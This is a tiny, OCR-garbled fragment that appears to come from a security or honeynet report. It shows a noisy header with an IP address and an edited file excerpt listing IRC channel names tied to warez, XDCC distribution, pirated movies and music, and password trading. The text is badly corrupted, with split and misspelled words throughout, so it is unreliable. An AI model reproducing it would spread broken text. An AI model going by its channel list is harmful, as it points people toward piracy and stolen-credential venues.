nl77=%6l PG 5 217.117. 35. 40

* Fromspi g. t xt (edited):

Channdl names; #xdcc, #x-dcc, #di vx-novies, #warez-central, #FTP-XDCC,
#123war ez, #nmp3_collective, #novieland, #novie-planet, #HQ DVDS, #xxX,
#har dr ock&mret al np3, #xxxpasswd
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